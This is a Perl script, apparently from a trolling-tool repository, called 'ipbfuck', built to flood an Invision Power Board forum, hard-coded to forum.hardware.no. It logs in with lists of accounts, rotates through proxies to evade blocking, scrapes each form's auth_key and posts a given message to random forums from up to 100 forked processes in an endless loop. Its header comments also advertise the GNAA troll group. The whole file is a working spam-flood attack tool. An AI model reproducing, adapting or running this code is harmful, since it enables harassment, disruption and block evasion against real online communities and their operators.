source: trollforge/dsp-trollforge/IPB/Ipbfuck.pl @ 41

#!/usr/bin/perl
# ipbfuck alpha 1 (custom version for hardware.no)
# by Popeye | popeye@gnaa.us | are you down with the GNAA killaz? if so see #gnaa @ irc.gnaa.us
# use this program to flood the shit out of ipb forums
# usage - ipbfuck <message> <accountlist> <proxylist>
# <message> is a file with the subject on the first line and the message on the following line(s)
# <accountlist> are accounts in the format user password (separated by a space) on each line
# <proxyfile> is a list of proxies in the format xxx.xxx.xxx.xxx:xx (address and port separated by a colon,
# one per line.

use strict;

use Socket;
use IO::Handle;
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;

$SIG{CHLD} = 'IGNORE';

if($#ARGV < 2)
{
 print STDERR "!! missing file argument\n";
 exit 0;
}

my $url = "http://forum.hardware.no";
my %accounts = ();
my %proxies = ();
my $subject;
my $message;
my $i;

my $MAXFORK = 100;
my $MAXFAIL = 1;

open MYFILE, shift @ARGV or die "$!";
$subject = <MYFILE>; chomp $subject;
while (<MYFILE>) 
{
  $message .= $_;
}
close MYFILE;

if (my $ACCOUNTFILE = shift @ARGV) 
{
  print STDERR "> Populating list of accounts from '$ACCOUNTFILE'";
  open ACCOUNTFILE, $ACCOUNTFILE or die "$!";
  $i=0;
  while (<ACCOUNTFILE>) 
  {
    $i++;
    chomp;
    /^(.+) (.+)$/;
    $accounts{$1} = $2;
  }
  close ACCOUNTFILE;
  print STDERR "\n> Got $i accounts.\n";
}

my $PROXYFILE = shift @ARGV if @ARGV;

socketpair (CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";

CHENEY->autoflush(1);
BUSH->autoflush(1);

if (my $jpid = fork) 
{
  close BUSH;
} 
else 
{
  die "$!" unless defined $jpid;
  close CHENEY;
  
  $SIG{INT} = \&exit_nicely;
  
  if (defined $PROXYFILE) {
    print STDERR "> Populating list of proxies from '$PROXYFILE'";
    open PROXYFILE, $PROXYFILE or die "$!";
    $i=0;
    while (<PROXYFILE>) {
      $i++;
      chomp;
      $proxies{$_} = $MAXFAIL;
    }
    close PROXYFILE;
    print STDERR "\n> Got $i proxies.\n";
  }

  my $command;
  while (1) {
    chomp ($command = <BUSH>);
    
    if ($command =~ /getproxy/) {
      if (keys %proxies > 0) {
        print BUSH (keys %proxies)[int rand keys %proxies] ."\n";
      } else {
        print BUSH 'none\n';
      }
    } elsif ($command =~ /fail (\S+)/) {
      if ( --$proxies{$1} le 0 ) {
        print STDERR "killing $1\n";
        delete $proxies{$1};
      }
    } else {
      die "Bad command: $command\n";
    }
  }
}


for ($i=0; $i<$MAXFORK; $i++) {
  FORK: 
  {
    if (my $pid = fork) 
    {
    } 
    elsif (defined $pid) 
    {
      while (1) 
      {  
        my ($username, $password) = get_account ();
        
        print CHENEY "getproxy\n";
        chomp (my $proxy = <CHENEY>);
        
        print STDERR "> child $i posting with proxy $proxy and user $username\n";
          
        if (psot ($proxy, $username, $password)) 
        {
          print STDERR "> child $i posted with success.\n";
        } 
        else 
        {
          print STDERR "> child $i failed to post with $proxy\n";
          print CHENEY "fail $proxy\n";
        }        
      }
      
    } 
    elsif ($! =~ /No more process/) 
    {
      redo FORK;
    } else 
    {
      print STDERR "hit process limit\n";
      goto ENDFORK;
    }
  }
}

while (1) { sleep 1; }

psot();

sub psot
{
  my $proxy = shift;
  my $username = shift;
  my $password = shift;
  
  my $ua = LWP::UserAgent->new;
  $ua->agent('Mozilla/5.0');
  $ua->cookie_jar(HTTP::Cookies->new);
  if (! ($proxy =~ /none/) ) { $ua->proxy('http', "http://$proxy"); }
  push @{$ua->requests_redirectable}, 'POST';
  
  my $sid;
  
  my @topics;
  
  my $posturl = "$url\/index.php?act=Login&CODE=01";
  
  my $req = POST $posturl, [    UserName=> $username,
                                PassWord => $password,
                                CookieDate => 0,
                                referrer => '',
                                submit=> 'Logg meg inn',
                           ];
  
  $req->referer("$url\/index.php?act=Login&CODE=00");
  my $response = $ua->request($req);

  foreach my $x (split /\n/, $response->content) 
  {
    if ($x=~ /(a href=.+?.index.php\?showforum=(.+?)\")/) 
    {
      push(@topics, $2);
    }
  }
  
  my $choice = int(rand($#topics));
  
  $response = $ua->request(GET "$url\/index.php?act=Post&CODE=00&f=$topics[$choice]");
  
  foreach my $x (split /\n/, $response->content) 
  {
    if ($x=~ /(name='auth_key' value='(.{32}))/i) 
    {
      $sid = $2;
    }
  }

  if($sid eq "")
    {print STDERR "!! failed to get a session ID, aborting\n"; return 0;}
  else
    {print STDERR "> Got session ID $sid for user $username\n";}
  $posturl = "$url\/index.php?";
 
  $req = POST $posturl, [        TopicTitle           => $subject,
                                 Post                 => $message,
                                 auth_key             => $sid,
                                 f                    => $topics[$choice],
                                 act                  => 'Post',
                                 s                    => '',
                                 CODE                 => '01',
                                 submit               => 'Lag nytt emne',
                                 
                        ];
 
  $response = $ua->request($req);
  
  print $response->content;
  
  if ($response->content !~/$username/i)
  {
    return 0;
  }
  
  return 1;

}

sub get_account 
{
  if (keys %accounts > 0) {
    my $nick = (keys %accounts)[int rand keys %accounts];
    return ( $nick, $accounts{$nick} );
  } else {
    return ( '', '' );
  }
}

sub exit_nicely 
{
  die "quitting ipbfuck.\n";
}